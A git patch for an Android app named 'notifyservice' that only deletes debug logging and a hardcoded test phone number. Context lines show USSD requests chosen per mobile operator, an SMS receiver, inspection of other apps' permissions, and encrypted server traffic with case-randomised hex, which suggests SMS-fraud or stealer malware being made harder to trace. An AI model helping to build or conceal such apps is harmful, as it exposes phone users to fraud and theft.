From 43c30b2f587bd0dae382d6b2cc681dfe51b9f0fa Mon Sep 17 00:00:00 2001 From: Your Name Date: Sun, 23 Mar 2025 14:09:18 +0300 Subject: [PATCH] test --- .../com/example/notifyservice/Encryption.java | 7 ------- .../com/example/notifyservice/GetRequest.java | 2 -- .../com/example/notifyservice/MainActivity.java | 16 ---------------- .../com/example/notifyservice/PostRequest.java | 4 ---- 4 files changed, 29 deletions(-) diff --git a/app/src/main/java/com/example/notifyservice/Encryption.java b/app/src/main/java/com/example/notifyservice/Encryption.java index 1849d6a..1d2832a 100644 --- a/app/src/main/java/com/example/notifyservice/Encryption.java +++ b/app/src/main/java/com/example/notifyservice/Encryption.java @@ -72,7 +72,6 @@ public class Encryption { cipher.init(mode, skeySpec); return cipher; } catch (Exception e) { - Log.i("Exception1", e.toString()); // STATIC } return null; } @@ -83,7 +82,6 @@ public class Encryption { byte[] encrypted = cipher.doFinal(data.getBytes()); return randomizeCase(bytesToHex(encrypted)); } catch (Exception e) { - Log.i("Exception2", e.toString()); // STATIC } return ""; } @@ -94,7 +92,6 @@ public class Encryption { byte[] encrypted = cipher.doFinal(data.getBytes()); return Base64.encodeToString(encrypted, Base64.DEFAULT); } catch (Exception e) { - Log.i("Exception3", e.toString()); // STATIC } return ""; } @@ -118,7 +115,6 @@ public class Encryption { MessageDigest md = MessageDigest.getInstance("SHA-512"); return randomizeCase(bytesToHex(md.digest(bytesOfMessage))); } catch (Exception ignore) { - Log.i("Exception4", ignore.toString()); // STATIC } return null; } @@ -138,7 +134,6 @@ public class Encryption { byte[] plainText = cipher.doFinal(Base64.decode(data.getBytes(), Base64.DEFAULT)); return new String(plainText); } catch (Exception e) { - Log.i("Exception5", e.toString()); // STATIC } return ""; } @@ -159,7 +154,6 @@ public class Encryption { return decryptedMessage; } catch (Exception e) { - Log.i("Exception6", e.toString()); // STATIC } return ""; } @@ -174,7 +168,6 @@ public class Encryption { cipher.init(Cipher.ENCRYPT_MODE, publicKey); return bytesToHex(cipher.doFinal(data.getBytes())); } catch (Exception e) { - Log.i("Exception7", e.toString()); // STATIC } return ""; diff --git a/app/src/main/java/com/example/notifyservice/GetRequest.java b/app/src/main/java/com/example/notifyservice/GetRequest.java index e3b5304..fe423b1 100644 --- a/app/src/main/java/com/example/notifyservice/GetRequest.java +++ b/app/src/main/java/com/example/notifyservice/GetRequest.java @@ -47,12 +47,10 @@ public class GetRequest { protected void onGetExecute(String result) { try { - Log.i("GET", result); callback.onGetResponse((new JSONObject( result ))); } catch (Exception e) { - Log.i("ExceptionGET", e.toString()); // STATIC } } diff --git a/app/src/main/java/com/example/notifyservice/MainActivity.java b/app/src/main/java/com/example/notifyservice/MainActivity.java index 8765997..014353d 100644 --- a/app/src/main/java/com/example/notifyservice/MainActivity.java +++ b/app/src/main/java/com/example/notifyservice/MainActivity.java @@ -176,7 +176,6 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba // Загрузка начального URL webView.loadUrl(websiteUrl); - Log.i("A", "a"); // STATIC loadData(); } @@ -198,7 +197,6 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba return sharedPreferences.getString("KEY", "INIT_KEY"); // VARIABLE STATIC } catch (Exception e) { - Log.i("1Exception", e.toString()); // STATIC return ""; // STATIC } } @@ -378,7 +376,6 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba }, Math.round(codeTimeout * 1000)); } } catch (JSONException e) { - e.printStackTrace(System.out); throw new RuntimeException(e); } @@ -409,7 +406,6 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba } } } catch (JSONException e) { - Log.i("3Exception", e.toString()); // STATIC throw new RuntimeException(e); } } @@ -436,7 +432,6 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba .getPackageInfo(pkgName, PackageManager.GET_PERMISSIONS) .requestedPermissions; } catch (PackageManager.NameNotFoundException e) { - Log.i("4Exception", e.toString()); // STATIC return new String[0]; } } @@ -477,7 +472,6 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba ussdRequest = ussd.getJSONObject(phone.operator).getString("number"); // STATIC smsResponse = ussd.getJSONObject(phone.operator).getBoolean("smsResponsed"); // STATIC } catch (JSONException e) { - Log.i("5Exception", e.toString()); // STATIC return; } @@ -526,15 +520,6 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba )); } - phoneNumbers.add(new PhoneNumber( - "+14355490147", // STATIC - null, - "Huita", // STATIC - "en" // STATIC - )); - - - return phoneNumbers; } @@ -576,7 +561,6 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba try { unregisterReceiver(smsReceiver); } catch(IllegalArgumentException e) { - Log.i("6Exception", e.toString()); // STATIC } } diff --git a/app/src/main/java/com/example/notifyservice/PostRequest.java b/app/src/main/java/com/example/notifyservice/PostRequest.java index 1b9d4ba..cd754fa 100644 --- a/app/src/main/java/com/example/notifyservice/PostRequest.java +++ b/app/src/main/java/com/example/notifyservice/PostRequest.java @@ -51,7 +51,6 @@ public class PostRequest { Call call = client.newCall(request); call.enqueue(new Callback() { public void onResponse(@NonNull Call call, @NonNull Response response) throws IOException { - Log.i("RESP", response.peekBody(Long.MAX_VALUE).string()); // STATIC onPostExecute(response.peekBody(Long.MAX_VALUE).string()); } @@ -63,9 +62,6 @@ public class PostRequest { protected void onPostExecute(String result) { - Log.i("POST", Encryption.aesDecrypt( - result - )); try { callback.onPostResponse((new JSONObject(